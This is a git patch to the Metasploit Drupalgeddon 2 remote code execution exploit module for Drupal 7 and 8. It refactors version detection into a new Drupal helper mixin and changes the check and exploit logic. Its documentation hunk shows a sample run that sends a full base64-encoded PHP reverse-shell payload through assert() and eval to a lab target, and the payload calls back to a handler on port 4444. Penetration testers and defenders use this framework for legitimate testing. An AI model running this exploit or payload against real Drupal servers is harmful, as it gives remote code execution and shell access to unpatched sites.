From 935fa6414ee6fca1630a66922c3c236efb184615 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 3 May 2018 17:41:07 -0500 Subject: [PATCH] Land #9968, second round of Drupalgeddon 2 updates --- .../unix/webapp/drupal_drupalgeddon2.md | 4 +- lib/msf/core/exploit/http/drupal.rb | 74 ++++++++++++ lib/msf/core/exploit/mixins.rb | 1 + .../unix/webapp/drupal_drupalgeddon2.rb | 113 +++++------------- 4 files changed, 106 insertions(+), 86 deletions(-) create mode 100644 lib/msf/core/exploit/http/drupal.rb diff --git a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md index 988a26b16f..5ddf0e4e94 100644 --- a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md +++ b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md @@ -86,14 +86,14 @@ msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true verbose => true msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check -[*] Drupal 7.x targeted at http://172.17.0.3/ +[*] Drupal 7 targeted at http://172.17.0.3/ [+] Drupal appears unpatched in CHANGELOG.txt [*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue [+] 172.17.0.3:80 The target is vulnerable. msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run [*] Started reverse TCP handler on 172.17.0.1:4444 -[*] Drupal 7.x targeted at http://172.17.0.3/ +[*] Drupal 7 targeted at http://172.17.0.3/ [+] Drupal appears unpatched in CHANGELOG.txt [*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB [*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw)); diff --git a/lib/msf/core/exploit/http/drupal.rb b/lib/msf/core/exploit/http/drupal.rb new file mode 100644 index 0000000000..766232a4ed --- /dev/null +++ b/lib/msf/core/exploit/http/drupal.rb @@ -0,0 +1,74 @@ +module Msf +module Exploit::Remote::HTTP::Drupal + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super + + register_options([ + OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']) + ]) + end + + def setup + super + + # Ensure we don't hit a redirect (e.g., /drupal -> /drupal/) + # XXX: Naughty datastore modification instead of send_request_cgi! + datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/') + end + + def drupal_version + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + return unless res && res.code == 200 + + # Check for an X-Generator header + version = version_match(res.headers['X-Generator']) + + return version if version + + # Check for a tag + generator = res.get_html_document.at( + '//meta[@name = "Generator"]/@content' + ) + + return unless generator + + version_match(generator.value) + end + + def drupal_changelog(version) + return unless version && Gem::Version.correct?(version) + + uri = Gem::Version.new(version) < Gem::Version.new('8') ? + normalize_uri(target_uri.path, 'CHANGELOG.txt') : + normalize_uri(target_uri.path, 'core/CHANGELOG.txt') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + return unless res && res.code == 200 + + res.body + end + + def version_match(string) + return unless string + + # Perl devs love me; Ruby devs hate me + string =~ /^Drupal ([\d.]+)/ + + return unless $1 && Gem::Version.correct?($1) + + Gem::Version.new($1) + end + +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index e5182b5413..838852c842 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -114,6 +114,7 @@ require 'msf/core/exploit/browser_autopwn2' # Custom HTTP Modules require 'msf/core/exploit/http/wordpress' require 'msf/core/exploit/http/joomla' +require 'msf/core/exploit/http/drupal' require 'msf/core/exploit/http/typo3' require 'msf/core/exploit/http/jboss' diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb index 59bce898c4..6f141db972 100644 --- a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb +++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Drupal # XXX: CmdStager can't handle badchars include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper @@ -44,7 +44,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Payload' => {'BadChars' => '&>\''}, - # XXX: Using "x" in Gem::Version::new isn't technically appropriate 'Targets' => [ # # Automatic targets (PHP, cmd/unix, native) @@ -75,25 +74,25 @@ class MetasploitModule < Msf::Exploit::Remote ['Drupal 7.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :php_memory ], ['Drupal 7.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :php_dropper ], ['Drupal 7.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :unix_memory ], ['Drupal 7.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => Gem::Version.new('7.x'), + 'Version' => Gem::Version.new('7'), 'Type' => :linux_dropper ], # @@ -102,25 +101,25 @@ class MetasploitModule < Msf::Exploit::Remote ['Drupal 8.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :php_memory ], ['Drupal 8.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :php_dropper ], ['Drupal 8.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :unix_memory ], ['Drupal 8.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], - 'Version' => Gem::Version.new('8.x'), + 'Version' => Gem::Version.new('8'), 'Type' => :linux_dropper ] ], @@ -129,7 +128,6 @@ class MetasploitModule < Msf::Exploit::Remote )) register_options([ - OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false]) ]) @@ -143,7 +141,9 @@ class MetasploitModule < Msf::Exploit::Remote def check checkcode = CheckCode::Safe - if drupal_version + @version = target['Version'] || drupal_version + + if @version print_status("Drupal #{@version} targeted at #{full_uri}") checkcode = CheckCode::Detected else @@ -151,9 +151,15 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown end - if drupal_unpatched? + changelog = drupal_changelog(@version) + + if changelog && changelog.include?('SA-CORE-2018-002') + print_warning('Drupal appears patched in CHANGELOG.txt') + elsif changelog print_good('Drupal appears unpatched in CHANGELOG.txt') checkcode = CheckCode::Appears + else + print_error('Could not determine Drupal patch level') end token = random_crap @@ -167,10 +173,15 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless check == CheckCode::Vulnerable || datastore['ForceExploit'] + if check == CheckCode::Safe && datastore['ForceExploit'] == false fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end + unless @version + print_warning('Targeting Drupal 7.x as a fallback') + @version = Gem::Version.new('7') + end + if datastore['PAYLOAD'] == 'cmd/unix/generic' print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') # XXX: Naughty datastore modification @@ -282,9 +293,9 @@ class MetasploitModule < Msf::Exploit::Remote res = case @version.to_s - when '7.x' + when '7' exploit_drupal7(func, cmd) - when '8.x' + when '8' exploit_drupal8(func, cmd) end @@ -300,72 +311,6 @@ class MetasploitModule < Msf::Exploit::Remote res end - def drupal_version - if target['Version'] - @version = target['Version'] - return @version - end - - res = send_request_cgi( - 'method' => 'GET', - 'uri' => target_uri.path - ) - - return unless res && res.code == 200 - - # Check for an X-Generator header - @version = - case res.headers['X-Generator'] - when /Drupal 7/ - Gem::Version.new('7.x') - when /Drupal 8/ - Gem::Version.new('8.x') - end - - return @version if @version - - # Check for a tag - generator = res.get_html_document.at( - '//meta[@name = "Generator"]/@content' - ) - - return unless generator - - @version = - case generator.value - when /Drupal 7/ - Gem::Version.new('7.x') - when /Drupal 8/ - Gem::Version.new('8.x') - end - end - - def drupal_unpatched? - unpatched = true - - # Check for patch level in CHANGELOG.txt - uri = - case @version.to_s - when '7.x' - normalize_uri(target_uri.path, 'CHANGELOG.txt') - when '8.x' - normalize_uri(target_uri.path, 'core/CHANGELOG.txt') - end - - res = send_request_cgi( - 'method' => 'GET', - 'uri' => uri - ) - - return unless res && res.code == 200 - - if res.body.include?('SA-CORE-2018-002') - unpatched = false - end - - unpatched - end - def exploit_drupal7(func, code) vars_get = { 'q' => 'user/password', @@ -381,7 +326,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi( 'method' => 'POST', - 'uri' => target_uri.path, + 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get, 'vars_post' => vars_post ) @@ -404,7 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi( 'method' => 'POST', - 'uri' => target_uri.path, + 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get, 'vars_post' => vars_post )